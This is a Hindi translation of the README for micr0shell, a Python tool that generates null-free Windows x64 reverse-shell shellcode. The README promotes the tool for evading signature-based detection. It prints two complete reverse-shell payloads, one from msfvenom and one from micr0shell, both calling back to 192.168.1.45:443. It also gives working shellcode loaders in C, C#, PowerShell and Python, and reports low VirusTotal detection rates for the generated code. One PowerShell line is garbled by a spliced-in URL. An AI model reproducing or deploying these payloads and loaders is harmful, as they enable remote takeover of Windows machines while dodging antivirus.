
micr0shell एक Python स्क्रिप्ट है जो गतिशील रूप से Windows X64 PIC Null-Free रिवर्स शेल शेलकोड उत्पन्न करती है।
Micr0shell एक हल्का और कुशल Python स्क्रिप्ट है जो विंडोज़ X64 पोजीशन-इंडिपेंडेंट कोड (PIC) नल-फ्री रिवर्स शेल शेलकोड को गतिशील रूप से उत्पन्न करने के लिए डिज़ाइन किया गया है। चयनित विकल्पों के आधार पर, उत्पन्न शेलकोड msfvenom के तुलनीय शेलकोड से 27 बाइट्स तक छोटा हो सकता है, साथ ही 0x00 बाइट्स को शामिल करने से भी बचता है। इसके अतिरिक्त, क्योंकि MSF का शेलकोड व्यापक रूप से उपयोग किया जाता है और इसलिए हस्ताक्षर-आधारित पहचान विधियों द्वारा पहचाने जाने की अधिक संभावना है, micr0shell द्वारा उत्पन्न शेलकोड चोरी-छिपाने की एक अतिरिक्त परत प्रदान करता है।
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of csharp file: 2586 bytes
byte[] shellcode = new byte[503] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0,
0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04,
0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65,
0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e,
0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f,
0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b,
0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80,
0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25,
0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19,
0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14,
0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53,
0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27,
0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e,
0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4,
0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d,
0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf,
0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9,
0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61,
0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde,
0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe,
0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46,
0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63,
0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4,
0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7,
0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5,
0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31,
0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e,
0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5,
0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48,
0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57,
0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85,
0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 };
मैंने x86 शेलकोड विकास में अपने कौशल Offensive Security Exploit Developer (OSED) पाठ्यक्रम के माध्यम से प्राप्त किए, जो मुझे विशेष रूप से आकर्षक लगा। पाठ्यक्रम से पहले, शेलकोड विकास मेरे लिए एक रहस्यमय क्षेत्र लगता था, लेकिन मुझे जल्दी ही एहसास हुआ कि यह विशिष्ट उद्देश्यों को प्राप्त करने के लिए कितना लचीलापन प्रदान करता है। यह पहचानते हुए कि x64 शेलकोडिंग आज के परिदृश्य में अधिक प्रासंगिक और व्यापक रूप से उपयोग की जाती है, मैंने इस गतिशील और सुविधाजनक विंडोज़ x64 रिवर्स शेल शेलकोड जनरेटर स्क्रिप्ट को विकसित करने के लिए अपने सीखे हुए कौशल को लागू किया है।
Python स्क्रिप्ट में x64 असेंबली निर्देशों से शेलकोड उत्पन्न करने के लिए, keystone इंजन निर्भरता की आवश्यकता है। Keystone Engine स्थापित करने के लिए pip का उपयोग करें:
pip install keystone-engine
उपयोगकर्ताओं के पास विभिन्न पैरामीटर निर्दिष्ट करने का लचीलापन है: IP पता, लिसनिंग पोर्ट, चर नाम, शेलकोड प्रारूप (विकल्पों में C, CSharp, Python और PowerShell शामिल हैं), शेल प्रकार (PowerShell या CMD), उत्पन्न शेलकोड को फ़ाइल में सहेजना है या नहीं, और उत्पन्न शेलकोड को निष्पादित करना है या नहीं (True/False)।
└─# python3 micr0shell.py
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░ ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║ ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║ ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝ ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
लेखक: Senzee
गिटहब रिपॉजिटरी: https://github.com/senzee1984/micr0_shell
विवरण: गतिशील रूप से PIC नल-फ्री रिवर्स शेल शेलकोड उत्पन्न करें
चेतावनी: दुर्लभ मामलों में (.255 और .0 सह-अस्तित्व), उत्पन्न शेलकोड में NULL बाइट्स हो सकते हैं, जैसे कि जब IP 192.168.0.255 हो
usage: micr0shell.py [-h] --ip IP [--port PORT] [--language LAN] [--variable VAR] [--type SHELL_TYPE] [--execution CODE_EXEC] [--save SAVE]
[--output OUTPUT]
micr0shell.py: error: the following arguments are required: --ip/-i
शेलकोड को अच्छी तरह से काम करने के लिए केवल IP पता निर्दिष्ट करना आवश्यक है। डिफ़ॉल्ट पोर्ट मान 443 है, डिफ़ॉल्ट चर नाम buf है, डिफ़ॉल्ट भाषा python है, और डिफ़ॉल्ट शेल प्रकार cmd.exe है।
उपयोगकर्ता इस Python स्क्रिप्ट में उत्पन्न शेलकोड को निष्पादित करना चुन सकते हैं, उत्पन्न शेलकोड को बाइनरी फ़ाइल में भी सहेजा जा सकता है। डिफ़ॉल्ट रूप से, उत्पन्न शेलकोड निष्पादित नहीं होता है और फ़ाइल में सहेजा नहीं जाता है।
उत्पन्न शेलकोड का सुविधाजनक परीक्षण करने के लिए विभिन्न सामान्य भाषाओं में सरल शेलकोड लोडर नीचे प्रदान किए गए हैं।
हालाँकि, यदि आप चोरी-छिपाने की क्षमताओं का मूल्यांकन करने में रुचि रखते हैं, तो ध्यान रखें कि निम्नलिखित शेलकोड लोडर स्वयं पहचाने जा सकते हैं। अधिक उन्नत चोरी-छिपाने की तकनीकों के लिए, आप वैकल्पिक शेलकोड लोडर तलाश सकते हैं, जो इस README दस्तावेज़ के दायरे से बाहर हैं।
#include "windows.h"
#include "stdlib.h"
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0......}; // SHELLCODE HERE
int main()
{
int length = sizeof(shellcode);
void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec, shellcode, length);
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}
using System;
using System.Runtime.InteropServices;
namespace runner
{
public class runner
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Main(String[] args)
{
byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......}; // SHELLCODE HERE
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
}
}
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]:https://raw.githubusercontent.com/senzee1984/micr0_shell/HEAD/:Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = <SHELLCODE HERE>
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
import ctypes, struct
buf = b"\x48\x31\...." # SHELLCODE HERE
buf=bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(buf)).from_buffer(buf)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(buf)))
print("Shellcode located at address %s" % hex(ptr))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
प्रदान किए गए IP पते, पोर्ट और शेल प्रकार के आधार पर, micr0shell गतिशील रूप से नल-फ्री शेलकोड उत्पन्न करता है। जबकि मैंने अधिकांश सामान्य परिदृश्यों को ध्यान में रखा है जो नल बाइट्स पेश कर सकते हैं, यह ध्यान देने योग्य है कि यदि प्रदान किए गए IP पते में .255 और .0 दोनों शामिल हैं—जैसे 192.168.0.255—तो उत्पन्न शेलकोड में एक नल बाइट शामिल होगा। हालाँकि व्यवहार में ऐसे IP पते अपेक्षाकृत दुर्लभ हैं, सभी संभावित IP पतों के लिए नल बाइट्स को समाप्त करने से जटिलता काफी बढ़ जाएगी। परिणामस्वरूप, मेरी इस मुद्दे को संबोधित करने की कोई तत्काल योजना नहीं है।
पोर्ट मान के संबंध में, सैद्धांतिक रूप से, किसी भी पोर्ट को नल बाइट उत्पन्न नहीं करना चाहिए। हालाँकि, नल-बाइट उन्मूलन के कार्यान्वयन के तरीके के कारण, पोर्ट 65280 उपयोग योग्य नहीं है।
Windows 11 पर, शेलकोड लोडर प्रोग्राम/स्क्रिप्ट पर डबल-क्लिक करने से शेल सत्र जल्दी से बाहर निकल जाएगा। हालाँकि, यदि आप इसे CMD या PowerShell के माध्यम से लॉन्च करते हैं, तो शेल सत्र तब तक सक्रिय रहेगा जब तक आप सर्वर से डिस्कनेक्ट नहीं करते। यह मुद्दा वर्तमान में जाँच के अधीन है और शेलकोड से संबंधित प्रतीत होता है। मैं इसे जल्द से जल्द ठीक करने का एक तरीका खोजूंगा।
शेलकोड हस्ताक्षर चोरी-छिपाने की क्षमता परीक्षण, नमूना फ़ाइलें अगस्त 2023 में VirusTotal पर अपलोड की गईं।
कच्ची बाइनरी फ़ाइलें उत्पन्न करने के लिए msfvenom और micr0shell का उपयोग करें, और उन्हें क्रमशः अपलोड करें। msfvenom से उत्पन्न 2 नमूने हैं, एक में 0x00 शामिल है, और दूसरा नल-फ्री है। तुलना इस प्रकार है:



8/13/2023 तक, micr0shell द्वारा उत्पन्न कच्ची शेलकोड बिन फ़ाइल पर हस्ताक्षर नहीं किया गया है।
शेलकोड बाइट सरणी उत्पन्न करने के लिए msfvenom और micr0shell का उपयोग करें, और उन्हें क्रमशः C में लिखे एक सरल शेलकोड रनर में शामिल करें। msfvenom से उत्पन्न 2 शेलकोड हैं, एक में 0x00 शामिल है, और दूसरा नल-फ्री है। तुलना इस प्रकार है:



8/23/2023 तक, micr0shell द्वारा उत्पन्न शेलकोड को शामिल करने वाले शेलकोड लोडर में बहुत कम पहचान है। यह उल्लेखनीय है कि सरल शेलकोड लोडर स्वयं हस्ताक्षरित है, भले ही शेलकोड हानिरहित हो।

─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░ ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║ ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║ ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝ ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
लेखक: Senzee
गिटहब रिपॉजिटरी: https://github.com/senzee1984/micr0_shell
विवरण: गतिशील रूप से PIC नल-फ्री रिवर्स शेल शेलकोड उत्पन्न करें
चेतावनी: दुर्लभ मामलों में (.255 और .0 सह-अस्तित्व), उत्पन्न शेलकोड में NULL बाइट्स हो सकते हैं, जैसे कि जब IP 192.168.0.255 हो
[+]शेलकोड सेटिंग्स:
******** IP पता: 192.168.1.45
******** लिसनिंग पोर्ट: 443
******** वांछित शेलकोड रनर की भाषा: c
******** शेलकोड सरणी चर नाम: shellcode
******** शेल: cmd
******** शेलकोड निष्पादन: false
******** शेलकोड को फ़ाइल में सहेजें: true
[+]पेलोड आकार: 476 बाइट्स
[+]C के लिए शेलकोड प्रारूप
unsigned char shellcode[]={
0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d,
0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01,
0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01,
0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31,
0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45,
0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b,
0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff,
0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32,
0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49,
0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48,
0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec,
0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff,
0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0,
0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48,
0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec,
0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb,
0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d,
0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe,
0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2,
0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66,
0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51,
0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff,
0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0};
उत्पन्न शेलकोड सफलतापूर्वक फ़ाइल buf.bin में सहेजा गया